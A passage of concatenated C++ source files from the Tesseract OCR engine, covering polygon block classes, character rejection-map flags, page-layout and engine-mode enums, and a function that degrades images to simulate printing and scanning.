if (*msg != '\0') {
tprintf("%s\n", msg);
}
BLOB_CHOICE_IT c_it;
c_it.set_to_list(ratings);
for (c_it.mark_cycle_pt(); !c_it.cycled_list(); c_it.forward()) {
c_it.data()->print(¤t_unicharset);
if (!c_it.at_last()) tprintf("\n");
}
tprintf("\n");
fflush(stdout);
}
| C++ |
/**********************************************************************
* File: polyblk.h (Formerly poly_block.h)
* Description: Polygonal blocks
* Author: Sheelagh Lloyd?
* Created:
*
* (C) Copyright 1993, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#ifndef POLYBLK_H
#define POLYBLK_H
#include "publictypes.h"
#include "elst.h"
#include "points.h"
#include "rect.h"
#include "scrollview.h"
class DLLSYM POLY_BLOCK {
public:
POLY_BLOCK() {
}
// Initialize from box coordinates.
POLY_BLOCK(const TBOX& box, PolyBlockType type);
POLY_BLOCK(ICOORDELT_LIST *points, PolyBlockType type);
~POLY_BLOCK () {
}
TBOX *bounding_box() { // access function
return &box;
}
ICOORDELT_LIST *points() { // access function
return &vertices;
}
void compute_bb();
PolyBlockType isA() const {
return type;
}
bool IsText() const {
return PTIsTextType(type);
}
// Rotate about the origin by the given rotation. (Analogous to
// multiplying by a complex number.
void rotate(FCOORD rotation);
// Reflect the coords of the polygon in the y-axis. (Flip the sign of x.)
void reflect_in_y_axis();
// Move by adding shift to all coordinates.
void move(ICOORD shift);
void plot(ScrollView* window, inT32 num);
#ifndef GRAPHICS_DISABLED
void fill(ScrollView* window, ScrollView::Color colour);
#endif // GRAPHICS_DISABLED
// Returns true if other is inside this.
bool contains(POLY_BLOCK *other);
// Returns true if the polygons of other and this overlap.
bool overlap(POLY_BLOCK *other);
// Returns the winding number of this around the test_pt.
// Positive for anticlockwise, negative for clockwise, and zero for
// test_pt outside this.
inT16 winding_number(const ICOORD &test_pt);
#ifndef GRAPHICS_DISABLED
// Static utility functions to handle the PolyBlockType.
// Returns a color to draw the given type.
static ScrollView::Color ColorForPolyBlockType(PolyBlockType type);
#endif // GRAPHICS_DISABLED
private:
ICOORDELT_LIST vertices; // vertices
TBOX box; // bounding box
PolyBlockType type; // Type of this region.
};
// Class to iterate the scanlines of a polygon.
class DLLSYM PB_LINE_IT {
public:
PB_LINE_IT(POLY_BLOCK *blkptr) {
block = blkptr;
}
void set_to_block(POLY_BLOCK * blkptr) {
block = blkptr;
}
// Returns a list of runs of pixels for the given y coord.
// Each element of the returned list is the start (x) and extent(y) of
// a run inside the region.
// Delete the returned list after use.
ICOORDELT_LIST *get_line(inT16 y);
private:
POLY_BLOCK * block;
};
#endif
| C++ |
/**********************************************************************
* File: rejctmap.cpp (Formerly rejmap.c)
* Description: REJ and REJMAP class functions.
* Author: Phil Cheatle
* Created: Thu Jun 9 13:46:38 BST 1994
*
* (C) Copyright 1994, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#include "host.h"
#include "rejctmap.h"
#include "params.h"
BOOL8 REJ::perm_rejected() { //Is char perm reject?
return (flag (R_TESS_FAILURE) ||
flag (R_SMALL_XHT) ||
flag (R_EDGE_CHAR) ||
flag (R_1IL_CONFLICT) ||
flag (R_POSTNN_1IL) ||
flag (R_REJ_CBLOB) ||
flag (R_BAD_REPETITION) || flag (R_MM_REJECT));
}
BOOL8 REJ::rej_before_nn_accept() {
return flag (R_POOR_MATCH) ||
flag (R_NOT_TESS_ACCEPTED) ||
flag (R_CONTAINS_BLANKS) || flag (R_BAD_PERMUTER);
}
BOOL8 REJ::rej_between_nn_and_mm() {
return flag (R_HYPHEN) ||
flag (R_DUBIOUS) ||
flag (R_NO_ALPHANUMS) || flag (R_MOSTLY_REJ) || flag (R_XHT_FIXUP);
}
BOOL8 REJ::rej_between_mm_and_quality_accept() {
return flag (R_BAD_QUALITY);
}
BOOL8 REJ::rej_between_quality_and_minimal_rej_accept() {
return flag (R_DOC_REJ) ||
flag (R_BLOCK_REJ) || flag (R_ROW_REJ) || flag (R_UNLV_REJ);
}
BOOL8 REJ::rej_before_mm_accept() {
return rej_between_nn_and_mm () ||
(rej_before_nn_accept () &&
!flag (R_NN_ACCEPT) && !flag (R_HYPHEN_ACCEPT));
}
BOOL8 REJ::rej_before_quality_accept() {
return rej_between_mm_and_quality_accept () ||
(!flag (R_MM_ACCEPT) && rej_before_mm_accept ());
}
BOOL8 REJ::rejected() { //Is char rejected?
if (flag (R_MINIMAL_REJ_ACCEPT))
return FALSE;
else
return (perm_rejected () ||
rej_between_quality_and_minimal_rej_accept () ||
(!flag (R_QUALITY_ACCEPT) && rej_before_quality_accept ()));
}
BOOL8 REJ::accept_if_good_quality() { //potential rej?
return (rejected () &&
!perm_rejected () &&
flag (R_BAD_PERMUTER) &&
!flag (R_POOR_MATCH) &&
!flag (R_NOT_TESS_ACCEPTED) &&
!flag (R_CONTAINS_BLANKS) &&
(!rej_between_nn_and_mm () &&
!rej_between_mm_and_quality_accept () &&
!rej_between_quality_and_minimal_rej_accept ()));
}
void REJ::setrej_tess_failure() { //Tess generated blank
set_flag(R_TESS_FAILURE);
}
void REJ::setrej_small_xht() { //Small xht char/wd
set_flag(R_SMALL_XHT);
}
void REJ::setrej_edge_char() { //Close to image edge
set_flag(R_EDGE_CHAR);
}
void REJ::setrej_1Il_conflict() { //Initial reject map
set_flag(R_1IL_CONFLICT);
}
void REJ::setrej_postNN_1Il() { //1Il after NN
set_flag(R_POSTNN_1IL);
}
void REJ::setrej_rej_cblob() { //Insert duff blob
set_flag(R_REJ_CBLOB);
}
void REJ::setrej_mm_reject() { //Matrix matcher
set_flag(R_MM_REJECT);
}
void REJ::setrej_bad_repetition() { //Odd repeated char
set_flag(R_BAD_REPETITION);
}
void REJ::setrej_poor_match() { //Failed Rays heuristic
set_flag(R_POOR_MATCH);
}
void REJ::setrej_not_tess_accepted() {
//TEMP reject_word
set_flag(R_NOT_TESS_ACCEPTED);
}
void REJ::setrej_contains_blanks() {
//TEMP reject_word
set_flag(R_CONTAINS_BLANKS);
}
void REJ::setrej_bad_permuter() { //POTENTIAL reject_word
set_flag(R_BAD_PERMUTER);
}
void REJ::setrej_hyphen() { //PostNN dubious hyphen or .
set_flag(R_HYPHEN);
}
void REJ::setrej_dubious() { //PostNN dubious limit
set_flag(R_DUBIOUS);
}
void REJ::setrej_no_alphanums() { //TEMP reject_word
set_flag(R_NO_ALPHANUMS);
}
void REJ::setrej_mostly_rej() { //TEMP reject_word
set_flag(R_MOSTLY_REJ);
}
void REJ::setrej_xht_fixup() { //xht fixup
set_flag(R_XHT_FIXUP);
}
void REJ::setrej_bad_quality() { //TEMP reject_word
set_flag(R_BAD_QUALITY);
}
void REJ::setrej_doc_rej() { //TEMP reject_word
set_flag(R_DOC_REJ);
}
void REJ::setrej_block_rej() { //TEMP reject_word
set_flag(R_BLOCK_REJ);
}
void REJ::setrej_row_rej() { //TEMP reject_word
set_flag(R_ROW_REJ);
}
void REJ::setrej_unlv_rej() { //TEMP reject_word
set_flag(R_UNLV_REJ);
}
void REJ::setrej_hyphen_accept() { //NN Flipped a char
set_flag(R_HYPHEN_ACCEPT);
}
void REJ::setrej_nn_accept() { //NN Flipped a char
set_flag(R_NN_ACCEPT);
}
void REJ::setrej_mm_accept() { //Matrix matcher
set_flag(R_MM_ACCEPT);
}
void REJ::setrej_quality_accept() { //Quality flip a char
set_flag(R_QUALITY_ACCEPT);
}
void REJ::setrej_minimal_rej_accept() {
//Accept all except blank
set_flag(R_MINIMAL_REJ_ACCEPT);
}
void REJ::full_print(FILE *fp) {
fprintf (fp, "R_TESS_FAILURE: %s\n", flag (R_TESS_FAILURE) ? "T" : "F");
fprintf (fp, "R_SMALL_XHT: %s\n", flag (R_SMALL_XHT) ? "T" : "F");
fprintf (fp, "R_EDGE_CHAR: %s\n", flag (R_EDGE_CHAR) ? "T" : "F");
fprintf (fp, "R_1IL_CONFLICT: %s\n", flag (R_1IL_CONFLICT) ? "T" : "F");
fprintf (fp, "R_POSTNN_1IL: %s\n", flag (R_POSTNN_1IL) ? "T" : "F");
fprintf (fp, "R_REJ_CBLOB: %s\n", flag (R_REJ_CBLOB) ? "T" : "F");
fprintf (fp, "R_MM_REJECT: %s\n", flag (R_MM_REJECT) ? "T" : "F");
fprintf (fp, "R_BAD_REPETITION: %s\n", flag (R_BAD_REPETITION) ? "T" : "F");
fprintf (fp, "R_POOR_MATCH: %s\n", flag (R_POOR_MATCH) ? "T" : "F");
fprintf (fp, "R_NOT_TESS_ACCEPTED: %s\n",
flag (R_NOT_TESS_ACCEPTED) ? "T" : "F");
fprintf (fp, "R_CONTAINS_BLANKS: %s\n",
flag (R_CONTAINS_BLANKS) ? "T" : "F");
fprintf (fp, "R_BAD_PERMUTER: %s\n", flag (R_BAD_PERMUTER) ? "T" : "F");
fprintf (fp, "R_HYPHEN: %s\n", flag (R_HYPHEN) ? "T" : "F");
fprintf (fp, "R_DUBIOUS: %s\n", flag (R_DUBIOUS) ? "T" : "F");
fprintf (fp, "R_NO_ALPHANUMS: %s\n", flag (R_NO_ALPHANUMS) ? "T" : "F");
fprintf (fp, "R_MOSTLY_REJ: %s\n", flag (R_MOSTLY_REJ) ? "T" : "F");
fprintf (fp, "R_XHT_FIXUP: %s\n", flag (R_XHT_FIXUP) ? "T" : "F");
fprintf (fp, "R_BAD_QUALITY: %s\n", flag (R_BAD_QUALITY) ? "T" : "F");
fprintf (fp, "R_DOC_REJ: %s\n", flag (R_DOC_REJ) ? "T" : "F");
fprintf (fp, "R_BLOCK_REJ: %s\n", flag (R_BLOCK_REJ) ? "T" : "F");
fprintf (fp, "R_ROW_REJ: %s\n", flag (R_ROW_REJ) ? "T" : "F");
fprintf (fp, "R_UNLV_REJ: %s\n", flag (R_UNLV_REJ) ? "T" : "F");
fprintf (fp, "R_HYPHEN_ACCEPT: %s\n", flag (R_HYPHEN_ACCEPT) ? "T" : "F");
fprintf (fp, "R_NN_ACCEPT: %s\n", flag (R_NN_ACCEPT) ? "T" : "F");
fprintf (fp, "R_MM_ACCEPT: %s\n", flag (R_MM_ACCEPT) ? "T" : "F");
fprintf (fp, "R_QUALITY_ACCEPT: %s\n", flag (R_QUALITY_ACCEPT) ? "T" : "F");
fprintf (fp, "R_MINIMAL_REJ_ACCEPT: %s\n",
flag (R_MINIMAL_REJ_ACCEPT) ? "T" : "F");
}
//The REJMAP class has been hacked to use alloc_struct instead of new [].
//This is to reduce memory fragmentation only as it is rather kludgy.
//alloc_struct by-passes the call to the contsructor of REJ on each
//array element. Although the constructor is empty, the BITS16 members
//do have a constructor which sets all the flags to 0. The memset
//replaces this functionality.
REJMAP::REJMAP( //classwise copy
const REJMAP &source) {
REJ *to;
REJ *from = source.ptr;
int i;
len = source.length ();
if (len > 0) {
ptr = (REJ *) alloc_struct (len * sizeof (REJ), "REJ");
to = ptr;
for (i = 0; i < len; i++) {
*to = *from;
to++;
from++;
}
}
else
ptr = NULL;
}
REJMAP & REJMAP::operator= ( //assign REJMAP
const REJMAP & source //from this
) {
REJ *
to;
REJ *
from = source.ptr;
int
i;
initialise (source.len);
to = ptr;
for (i = 0; i < len; i++) {
*to = *from;
to++;
from++;
}
return *this;
}
void REJMAP::initialise( //Redefine map
inT16 length) {
if (ptr != NULL)
free_struct (ptr, len * sizeof (REJ), "REJ");
len = length;
if (len > 0)
ptr = (REJ *) memset (alloc_struct (len * sizeof (REJ), "REJ"),
0, len * sizeof (REJ));
else
ptr = NULL;
}
inT16 REJMAP::accept_count() { //How many accepted?
int i;
inT16 count = 0;
for (i = 0; i < len; i++) {
if (ptr[i].accepted ())
count++;
}
return count;
}
BOOL8 REJMAP::recoverable_rejects() { //Any non perm rejs?
int i;
for (i = 0; i < len; i++) {
if (ptr[i].recoverable ())
return TRUE;
}
return FALSE;
}
BOOL8 REJMAP::quality_recoverable_rejects() { //Any potential rejs?
int i;
for (i = 0; i < len; i++) {
if (ptr[i].accept_if_good_quality ())
return TRUE;
}
return FALSE;
}
void REJMAP::remove_pos( //Cut out an element
inT16 pos //element to remove
) {
REJ *new_ptr; //new, smaller map
int i;
ASSERT_HOST (pos >= 0);
ASSERT_HOST (pos < len);
ASSERT_HOST (len > 0);
len--;
if (len > 0)
new_ptr = (REJ *) memset (alloc_struct (len * sizeof (REJ), "REJ"),
0, len * sizeof (REJ));
else
new_ptr = NULL;
for (i = 0; i < pos; i++)
new_ptr[i] = ptr[i]; //copy pre pos
for (; pos < len; pos++)
new_ptr[pos] = ptr[pos + 1]; //copy post pos
//delete old map
free_struct (ptr, (len + 1) * sizeof (REJ), "REJ");
ptr = new_ptr;
}
void REJMAP::print(FILE *fp) {
int i;
char buff[512];
for (i = 0; i < len; i++) {
buff[i] = ptr[i].display_char ();
}
buff[i] = '\0';
fprintf (fp, "\"%s\"", buff);
}
void REJMAP::full_print(FILE *fp) {
int i;
for (i = 0; i < len; i++) {
ptr[i].full_print (fp);
fprintf (fp, "\n");
}
}
void REJMAP::rej_word_small_xht() { //Reject whole word
int i;
for (i = 0; i < len; i++) {
ptr[i].setrej_small_xht ();
}
}
void REJMAP::rej_word_tess_failure() { //Reject whole word
int i;
for (i = 0; i < len; i++) {
ptr[i].setrej_tess_failure ();
}
}
void REJMAP::rej_word_not_tess_accepted() { //Reject whole word
int i;
for (i = 0; i < len; i++) {
if (ptr[i].accepted()) ptr[i].setrej_not_tess_accepted();
}
}
void REJMAP::rej_word_contains_blanks() { //Reject whole word
int i;
for (i = 0; i < len; i++) {
if (ptr[i].accepted()) ptr[i].setrej_contains_blanks();
}
}
void REJMAP::rej_word_bad_permuter() { //Reject whole word
int i;
for (i = 0; i < len; i++) {
if (ptr[i].accepted()) ptr[i].setrej_bad_permuter ();
}
}
void REJMAP::rej_word_xht_fixup() { //Reject whole word
int i;
for (i = 0; i < len; i++) {
if (ptr[i].accepted()) ptr[i].setrej_xht_fixup();
}
}
void REJMAP::rej_word_no_alphanums() { //Reject whole word
int i;
for (i = 0; i < len; i++) {
if (ptr[i].accepted()) ptr[i].setrej_no_alphanums();
}
}
void REJMAP::rej_word_mostly_rej() { //Reject whole word
int i;
for (i = 0; i < len; i++) {
if (ptr[i].accepted()) ptr[i].setrej_mostly_rej();
}
}
void REJMAP::rej_word_bad_quality() { //Reject whole word
int i;
for (i = 0; i < len; i++) {
if (ptr[i].accepted()) ptr[i].setrej_bad_quality();
}
}
void REJMAP::rej_word_doc_rej() { //Reject whole word
int i;
for (i = 0; i < len; i++) {
if (ptr[i].accepted()) ptr[i].setrej_doc_rej();
}
}
void REJMAP::rej_word_block_rej() { //Reject whole word
int i;
for (i = 0; i < len; i++) {
if (ptr[i].accepted()) ptr[i].setrej_block_rej();
}
}
void REJMAP::rej_word_row_rej() { //Reject whole word
int i;
for (i = 0; i < len; i++) {
if (ptr[i].accepted()) ptr[i].setrej_row_rej();
}
}
| C++ |
///////////////////////////////////////////////////////////////////////
// File: publictypes.h
// Description: Types used in both the API and internally
// Author: Ray Smith
// Created: Wed Mar 03 09:22:53 PST 2010
//
// (C) Copyright 2010, Google Inc.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
///////////////////////////////////////////////////////////////////////
#ifndef TESSERACT_CCSTRUCT_PUBLICTYPES_H__
#define TESSERACT_CCSTRUCT_PUBLICTYPES_H__
// This file contains types that are used both by the API and internally
// to Tesseract. In order to decouple the API from Tesseract and prevent cyclic
// dependencies, THIS FILE SHOULD NOT DEPEND ON ANY OTHER PART OF TESSERACT.
// Restated: It is OK for low-level Tesseract files to include publictypes.h,
// but not for the low-level tesseract code to include top-level API code.
// This file should not use other Tesseract types, as that would drag
// their includes into the API-level.
// API-level code should include apitypes.h in preference to this file.
/** Number of printers' points in an inch. The unit of the pointsize return. */
const int kPointsPerInch = 72;
/**
* Possible types for a POLY_BLOCK or ColPartition.
* Must be kept in sync with kPBColors in polyblk.cpp and PTIs*Type functions
* below, as well as kPolyBlockNames in publictypes.cpp.
* Used extensively by ColPartition, and POLY_BLOCK.
*/
enum PolyBlockType {
PT_UNKNOWN, // Type is not yet known. Keep as the first element.
PT_FLOWING_TEXT, // Text that lives inside a column.
PT_HEADING_TEXT, // Text that spans more than one column.
PT_PULLOUT_TEXT, // Text that is in a cross-column pull-out region.
PT_EQUATION, // Partition belonging to an equation region.
PT_INLINE_EQUATION, // Partition has inline equation.
PT_TABLE, // Partition belonging to a table region.
PT_VERTICAL_TEXT, // Text-line runs vertically.
PT_CAPTION_TEXT, // Text that belongs to an image.
PT_FLOWING_IMAGE, // Image that lives inside a column.
PT_HEADING_IMAGE, // Image that spans more than one column.
PT_PULLOUT_IMAGE, // Image that is in a cross-column pull-out region.
PT_HORZ_LINE, // Horizontal Line.
PT_VERT_LINE, // Vertical Line.
PT_NOISE, // Lies outside of any column.
PT_COUNT
};
/** Returns true if PolyBlockType is of horizontal line type */
inline bool PTIsLineType(PolyBlockType type) {
return type == PT_HORZ_LINE || type == PT_VERT_LINE;
}
/** Returns true if PolyBlockType is of image type */
inline bool PTIsImageType(PolyBlockType type) {
return type == PT_FLOWING_IMAGE || type == PT_HEADING_IMAGE ||
type == PT_PULLOUT_IMAGE;
}
/** Returns true if PolyBlockType is of text type */
inline bool PTIsTextType(PolyBlockType type) {
return type == PT_FLOWING_TEXT || type == PT_HEADING_TEXT ||
type == PT_PULLOUT_TEXT || type == PT_TABLE ||
type == PT_VERTICAL_TEXT || type == PT_CAPTION_TEXT ||
type == PT_INLINE_EQUATION;
}
// Returns true if PolyBlockType is of pullout(inter-column) type
inline bool PTIsPulloutType(PolyBlockType type) {
return type == PT_PULLOUT_IMAGE || type == PT_PULLOUT_TEXT;
}
/** String name for each block type. Keep in sync with PolyBlockType. */
extern const char* kPolyBlockNames[];
namespace tesseract {
/**
* +------------------+ Orientation Example:
* | 1 Aaaa Aaaa Aaaa | ====================
* | Aaa aa aaa aa | To left is a diagram of some (1) English and
* | aaaaaa A aa aaa. | (2) Chinese text and a (3) photo credit.
* | 2 |
* | ####### c c C | Upright Latin characters are represented as A and a.
* | ####### c c c | '<' represents a latin character rotated
* | < ####### c c c | anti-clockwise 90 degrees.
* | < ####### c c |
* | < ####### . c | Upright Chinese characters are represented C and c.
* | 3 ####### c |
* +------------------+ NOTA BENE: enum values here should match goodoc.proto
* If you orient your head so that "up" aligns with Orientation,
* then the characters will appear "right side up" and readable.
*
* In the example above, both the English and Chinese paragraphs are oriented
* so their "up" is the top of the page (page up). The photo credit is read
* with one's head turned leftward ("up" is to page left).
*
* The values of this enum match the convention of Tesseract's osdetect.h
*/
enum Orientation {
ORIENTATION_PAGE_UP = 0,
ORIENTATION_PAGE_RIGHT = 1,
ORIENTATION_PAGE_DOWN = 2,
ORIENTATION_PAGE_LEFT = 3,
};
/**
* The grapheme clusters within a line of text are laid out logically
* in this direction, judged when looking at the text line rotated so that
* its Orientation is "page up".
*
* For English text, the writing direction is left-to-right. For the
* Chinese text in the above example, the writing direction is top-to-bottom.
*/
enum WritingDirection {
WRITING_DIRECTION_LEFT_TO_RIGHT = 0,
WRITING_DIRECTION_RIGHT_TO_LEFT = 1,
WRITING_DIRECTION_TOP_TO_BOTTOM = 2,
};
/**
* The text lines are read in the given sequence.
*
* In English, the order is top-to-bottom.
* In Chinese, vertical text lines are read right-to-left. Mongolian is
* written in vertical columns top to bottom like Chinese, but the lines
* order left-to right.
*
* Note that only some combinations make sense. For example,
* WRITING_DIRECTION_LEFT_TO_RIGHT implies TEXTLINE_ORDER_TOP_TO_BOTTOM
*/
enum TextlineOrder {
TEXTLINE_ORDER_LEFT_TO_RIGHT = 0,
TEXTLINE_ORDER_RIGHT_TO_LEFT = 1,
TEXTLINE_ORDER_TOP_TO_BOTTOM = 2,
};
/**
* Possible modes for page layout analysis. These *must* be kept in order
* of decreasing amount of layout analysis to be done, except for OSD_ONLY,
* so that the inequality test macros below work.
*/
enum PageSegMode {
PSM_OSD_ONLY, ///< Orientation and script detection only.
PSM_AUTO_OSD, ///< Automatic page segmentation with orientation and
///< script detection. (OSD)
PSM_AUTO_ONLY, ///< Automatic page segmentation, but no OSD, or OCR.
PSM_AUTO, ///< Fully automatic page segmentation, but no OSD.
PSM_SINGLE_COLUMN, ///< Assume a single column of text of variable sizes.
PSM_SINGLE_BLOCK_VERT_TEXT, ///< Assume a single uniform block of vertically
///< aligned text.
PSM_SINGLE_BLOCK, ///< Assume a single uniform block of text. (Default.)
PSM_SINGLE_LINE, ///< Treat the image as a single text line.
PSM_SINGLE_WORD, ///< Treat the image as a single word.
PSM_CIRCLE_WORD, ///< Treat the image as a single word in a circle.
PSM_SINGLE_CHAR, ///< Treat the image as a single character.
PSM_SPARSE_TEXT, ///< Find as much text as possible in no particular order.
PSM_SPARSE_TEXT_OSD, ///< Sparse text with orientation and script det.
PSM_RAW_LINE, ///< Treat the image as a single text line, bypassing
///< hacks that are Tesseract-specific.
PSM_COUNT ///< Number of enum entries.
};
/**
* Inline functions that act on a PageSegMode to determine whether components of
* layout analysis are enabled.
* *Depend critically on the order of elements of PageSegMode.*
* NOTE that arg is an int for compatibility with INT_PARAM.
*/
inline bool PSM_OSD_ENABLED(int pageseg_mode) {
return pageseg_mode <= PSM_AUTO_OSD || pageseg_mode == PSM_SPARSE_TEXT_OSD;
}
inline bool PSM_COL_FIND_ENABLED(int pageseg_mode) {
return pageseg_mode >= PSM_AUTO_OSD && pageseg_mode <= PSM_AUTO;
}
inline bool PSM_SPARSE(int pageseg_mode) {
return pageseg_mode == PSM_SPARSE_TEXT || pageseg_mode == PSM_SPARSE_TEXT_OSD;
}
inline bool PSM_BLOCK_FIND_ENABLED(int pageseg_mode) {
return pageseg_mode >= PSM_AUTO_OSD && pageseg_mode <= PSM_SINGLE_COLUMN;
}
inline bool PSM_LINE_FIND_ENABLED(int pageseg_mode) {
return pageseg_mode >= PSM_AUTO_OSD && pageseg_mode <= PSM_SINGLE_BLOCK;
}
inline bool PSM_WORD_FIND_ENABLED(int pageseg_mode) {
return (pageseg_mode >= PSM_AUTO_OSD && pageseg_mode <= PSM_SINGLE_LINE) ||
pageseg_mode == PSM_SPARSE_TEXT || pageseg_mode == PSM_SPARSE_TEXT_OSD;
}
/**
* enum of the elements of the page hierarchy, used in ResultIterator
* to provide functions that operate on each level without having to
* have 5x as many functions.
*/
enum PageIteratorLevel {
RIL_BLOCK, // Block of text/image/separator line.
RIL_PARA, // Paragraph within a block.
RIL_TEXTLINE, // Line within a paragraph.
RIL_WORD, // Word within a textline.
RIL_SYMBOL // Symbol/character within a word.
};
/**
* JUSTIFICATION_UNKNONW
* The alignment is not clearly one of the other options. This could happen
* for example if there are only one or two lines of text or the text looks
* like source code or poetry.
*
* NOTA BENE: Fully justified paragraphs (text aligned to both left and right
* margins) are marked by Tesseract with JUSTIFICATION_LEFT if their text
* is written with a left-to-right script and with JUSTIFICATION_RIGHT if
* their text is written in a right-to-left script.
*
* Interpretation for text read in vertical lines:
* "Left" is wherever the starting reading position is.
*
* JUSTIFICATION_LEFT
* Each line, except possibly the first, is flush to the same left tab stop.
*
* JUSTIFICATION_CENTER
* The text lines of the paragraph are centered about a line going
* down through their middle of the text lines.
*
* JUSTIFICATION_RIGHT
* Each line, except possibly the first, is flush to the same right tab stop.
*/
enum ParagraphJustification {
JUSTIFICATION_UNKNOWN,
JUSTIFICATION_LEFT,
JUSTIFICATION_CENTER,
JUSTIFICATION_RIGHT,
};
/**
* When Tesseract/Cube is initialized we can choose to instantiate/load/run
* only the Tesseract part, only the Cube part or both along with the combiner.
* The preference of which engine to use is stored in tessedit_ocr_engine_mode.
*
* ATTENTION: When modifying this enum, please make sure to make the
* appropriate changes to all the enums mirroring it (e.g. OCREngine in
* cityblock/workflow/detection/detection_storage.proto). Such enums will
* mention the connection to OcrEngineMode in the comments.
*/
enum OcrEngineMode {
OEM_TESSERACT_ONLY, // Run Tesseract only - fastest
OEM_CUBE_ONLY, // Run Cube only - better accuracy, but slower
OEM_TESSERACT_CUBE_COMBINED, // Run both and combine results - best accuracy
OEM_DEFAULT // Specify this mode when calling init_*(),
// to indicate that any of the above modes
// should be automatically inferred from the
// variables in the language-specific config,
// command-line configs, or if not specified
// in any of the above should be set to the
// default OEM_TESSERACT_ONLY.
};
} // namespace tesseract.
#endif // TESSERACT_CCSTRUCT_PUBLICTYPES_H__
| C++ |
/**********************************************************************
* File: degradeimage.cpp
* Description: Function to degrade an image (usually of text) as if it
* has been printed and then scanned.
* Authors: Ray Smith
* Created: Tue Nov 19 2013
*
* (C) Copyright 2013, Google Inc.
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* http://www.apache.org/licenses/LICENSE-2.0
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
**********************************************************************/
#include "degradeimage.h"
#include <stdlib.h>
#include "allheaders.h" // from leptonica
#include "helpers.h" // For TRand.
namespace tesseract {
// Rotation is +/- kRotationRange radians.
const float kRotationRange = 0.02f;
// Number of grey levels to shift by for each exposure step.
const int kExposureFactor = 16;
// Salt and pepper noise is +/- kSaltnPepper.
const int kSaltnPepper = 5;
// Min sum of width + height on which to operate the ramp.
const int kMinRampSize = 1000;
// Degrade the pix as if by a print/copy/scan cycle with exposure > 0
// corresponding to darkening on the copier and <0 lighter and 0 not copied.
// Exposures in [-2,2] are most useful, with -3 and 3 being extreme.
// If rotation is NULL, rotation is skipped. If *rotation is non-zero, the pix
// is rotated by *rotation else it is randomly rotated and *rotation is
// modified.
//
// HOW IT WORKS:
// Most of the process is really dictated by the fact that the minimum
// available convolution is 3X3, which is too big really to simulate a
// good quality print/scan process. (2X2 would be better.)
// 1 pixel wide inputs are heavily smeared by the 3X3 convolution, making the
// images generally biased to being too light, so most of the work is to make
// them darker. 3 levels of thickening/darkening are achieved with 2 dilations,
// (using a greyscale erosion) one heavy (by being before convolution) and one
// light (after convolution).
// With no dilation, after covolution, the images are so light that a heavy
// constant offset is required to make the 0 image look reasonable. A simple
// constant offset multiple of exposure to undo this value is enough to achieve
// all the required lightening. This gives the advantage that exposure level 1
// with a single dilation gives a good impression of the broken-yet-too-dark
// problem that is often seen in scans.
// A small random rotation gives some varying greyscale values on the edges,
// and some random salt and pepper noise on top helps to realistically jaggy-up
// the edges.
// Finally a greyscale ramp provides a continuum of effects between exposure
// levels.
Pix* DegradeImage(Pix* input, int exposure, TRand* randomizer,
float* rotation) {
Pix* pix = pixConvertTo8(input, false);
pixDestroy(&input);
input = pix;
int width = pixGetWidth(input);
int height = pixGetHeight(input);
if (exposure >= 2) {
// An erosion simulates the spreading darkening of a dark copy.
// This is backwards to binary morphology,
// see http://www.leptonica.com/grayscale-morphology.html
pix = input;
input = pixErodeGray(pix, 3, 3);
pixDestroy(&pix);
}
// A convolution is essential to any mode as no scanner produces an
// image as sharp as the electronic image.
pix = pixBlockconv(input, 1, 1);
pixDestroy(&input);
// A small random rotation helps to make the edges jaggy in a realistic way.
if (rotation != NULL) {
float radians_clockwise = 0.0f;
if (*rotation) {
radians_clockwise = *rotation;
} else if (randomizer != NULL) {
radians_clockwise = randomizer->SignedRand(kRotationRange);
}
input = pixRotate(pix, radians_clockwise,
L_ROTATE_AREA_MAP, L_BRING_IN_WHITE,
0, 0);
// Rotate the boxes to match.
*rotation = radians_clockwise;
pixDestroy(&pix);
} else {
input = pix;
}
if (exposure >= 3 || exposure == 1) {
// Erosion after the convolution is not as heavy as before, so it is
// good for level 1 and in addition as a level 3.
// This is backwards to binary morphology,
// see http://www.leptonica.com/grayscale-morphology.html
pix = input;
input = pixErodeGray(pix, 3, 3);
pixDestroy(&pix);
}
// The convolution really needed to be 2x2 to be realistic enough, but
// we only have 3x3, so we have to bias the image darker or lose thin
// strokes.
int erosion_offset = 0;
// For light and 0 exposure, there is no dilation, so compensate for the
// convolution with a big darkening bias which is undone for lighter
// exposures.
if (exposure <= 0)
erosion_offset = -3 * kExposureFactor;
// Add in a general offset of the greyscales for the exposure level so
// a threshold of 128 gives a reasonable binary result.
erosion_offset -= exposure * kExposureFactor;
// Add a gradual fade over the page and a small amount of salt and pepper
// noise to simulate noise in the sensor/paper fibres and varying
// illumination.
l_uint32* data = pixGetData(input);
for (int y = 0; y < height; ++y) {
for (int x = 0; x < width; ++x) {
int pixel = GET_DATA_BYTE(data, x);
if (randomizer != NULL)
pixel += randomizer->IntRand() % (kSaltnPepper*2 + 1) - kSaltnPepper;
if (height + width > kMinRampSize)
pixel -= (2*x + y) * 32 / (height + width);
pixel += erosion_offset;
if (pixel < 0)
pixel = 0;
if (pixel > 255)
pixel = 255;
